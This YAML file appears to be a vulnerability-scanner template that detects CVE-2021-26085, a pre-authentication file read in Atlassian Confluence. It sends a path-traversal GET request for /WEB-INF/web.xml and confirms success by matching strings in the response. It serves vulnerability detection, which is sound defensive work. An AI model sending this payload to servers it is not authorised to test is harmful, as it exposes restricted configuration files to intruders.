id: CVE-2021-26085
info:
  name: Confluence Pre-Authorization Arbitrary File Read in /s/ endpoint - CVE-2021-26085
  author: princechaddha
  severity: medium
  description: Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint.
  reference:
    - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26085
  tags: cve,cve2021,confluence,atlassian,lfi
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.30
    cve-id: CVE-2021-26085
    cwe-id: CWE-862

requests:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "<display-name>Confluence</display-name>"
          - "com.atlassian.confluence.setup.ConfluenceAppConfig"
        condition: and